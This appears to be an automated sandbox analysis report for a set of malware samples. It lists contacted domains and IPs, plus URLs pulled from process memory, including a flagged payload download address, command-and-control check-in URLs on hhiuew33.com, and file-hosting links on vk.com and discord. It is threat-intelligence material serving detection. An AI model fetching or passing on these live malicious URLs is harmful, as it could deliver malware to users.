ipinfo.io	34.117.59.81	true	false	high
sun6-22.userapi.com	95.142.206.2	true	false	high
ip-api.com	208.95.112.1	true	false	high
www.google.com	172.217.168.36	true	false	high
www.hhiuew33.com	45.136.151.102	true	false	high
vk.com	87.240.132.78	true	false	high
iplis.ru	148.251.234.93	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://116.203.105.117/base/api/getData.php	true	Avira URL Cloud: safe	unknown
http://89.185.85.53/	false	Avira URL Cloud: safe	unknown
http://107.182.129.251/download/Service.exe	false	Avira URL Cloud: malware	unknown
http://ip-api.com/json/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://gcc.gnu.org/bugs/):	fJe9em23BB.exe, 00000000.00000003.309504413.000000000580A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/safe2J	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.764168700.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/9ta	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.546801098.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://st6-23.vk.com/dist/lottie.7d914fa3404556039ac3.js?ce04f009a75e25b9914f	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml-n	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeSV	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.684569911.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.686926185.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/90	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://smartectechnologies.com/12/TrdngAnr6339.exer1	fJe9em23BB.exe, 00000000.00000003.272880556.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.271034346.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.269957698.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://papi.vk.com/pushsse/ruim	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://st6-23.vk.com/dist/audioplayer.82fab98a266a96c3507a.js?295cfd9831585b86747208f	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sun6-21.userapi.com/J	fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528495666.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2604753&key=f85563e014035f8a1834811fdc4d123c9-90CE-806E6F6E6963	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.655114253.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.671060930.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.671711700.000000000063B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513260236.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fal	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.472760236.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/Content-Type:	fJe9em23BB.exe, 00000000.00000003.272596461.00000000051BD000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.270017416.0000000005126000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2606055&key=22b91a9ea5ef2b2cf966abf82f9ff159	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.743826308.000000000064D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeAW~	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693756834.0000000000670000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.comttvaS	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.564843532.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.565668952.0000000009C96000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.563286947.0000000009C93000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/_H	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513260236.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://v.xyzgamev.comww.hhiuew33.com/	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.436563015.00000000005D3000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.442652423.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com	fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.instagram.com	fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/8	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hhiuew33.com:80/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbZ0lpSXNJQ0oxYVdRaU	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.423365076.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp3379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZX	fJe9em23BB.exe, 00000000.00000003.278210782.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279881136.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289441931.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.hhiuew33.com/check/?sid=2606235&key=315782dff0fe3b3e88945c64c67cbb8a	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757072546.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.755685899.0000000000639000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://212.193.30.115/	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.423322310.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://st6-23.vk.com/dist/web/docs.e63c0a8140ff1e11d6ae.js?	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/Y0	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://smartectechnologies.com/12/TrdngAnr6339.exeR1	fJe9em23BB.exe, 00000000.00000003.269957698.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.itcfonts.	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.551983129.0000000009C72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://st6-23.vk.com/dist/web/ui_common.bd14b46915622488a35a.css	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504583314.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504368785.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.como.	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://st6-23.vk.com/css/al/uncommon.84f06003a992b59f7a86.css	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://vk.com:80/doc743379129_647582426?hash=Ri1Uj29yeI52zoqUzqZoGm9MktdF1BQzeD27MH47fDw&dl=G42DGMZ	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee385-A1ED-B2838757AE1B	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728673907.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2604439&key=8406bc79cb08265efab98113ce501bf6	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.646409244.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.686926185.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.670136746.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.712268030.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.746484304.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.698464163.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700309942.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.767453966.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716110738.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.636484417.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comu-e	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.483533038.0000000009C7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/S	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://st6-23.vk.com/dist/common.73e2145ecfc10ef6ac9d.js?29535731a7510e8d2adb0d7	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://107.182.129.251/download/Service.exem	fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vk.com/doc743379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZXHE	fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com:80/check/?sid=2602337&key=94a87b1d2676e40b93d9ad652d0283f4Pq	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513166647.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com:80/doc743379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZ	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/(z	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com/doc746114588_646325992?hash=LuhcCrhZuyYpXNOi0mdZvZUD5l1onzWolI8PqAiIGY4&dl=G42DMMJRGQ	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/J	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sun6-22.userapi.com/	fJe9em23BB.exe, 00000000.00000003.277854680.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279990644.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289466253.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291982510.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291545171.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2605113&key=a	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.719303983.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/E	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comldef	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.564843532.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.565668952.0000000009C96000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.563286947.0000000009C93000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2605729&key=befb4e0f2c59d95bc6a95157b45a8050hn2KD0MA	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716477560.000000000063F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/j0U	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.386400250.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://stats.vk-portal.net	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com:80/attachments/738909412961550448/999676559776546917/WW20_2022-07-19_10-1	fJe9em23BB.exe, 00000000.00000003.269932528.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://vk.com/doc743379129_647582399?hash=mQRYKUze4fwd4Zl44ZryWOfPAUHezklHRZfZQh3tiEL&dl=G42DGMZXHE	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/w	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hhiuew33.com/check/sa	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.734137895.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.comoitu	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531519578.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530536871.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531300988.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530750440.0000000009C92000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://graph.fac	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	ze5tCopHgrlItmsTQGIZcUK1.exe	false		high
http://www.jiyu-kobo.co.jp/Y0/	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://r.mradx.net	fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sun6-21.userapi.com/c235031/u743379129/docs/d51/c924d07213d9/911.bmp?extra=gMDY-BJDp5kskfYnw	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/n	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.510500476.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.510898095.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sun6-22.userapi.com/J	fJe9em23BB.exe, 00000000.00000003.277854680.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279990644.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289466253.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291982510.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291545171.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2602105&key=31b7b0deff382c74fb69544fd112846aal	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.486475344.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.comals	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.534030537.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.539012469.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.536205258.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
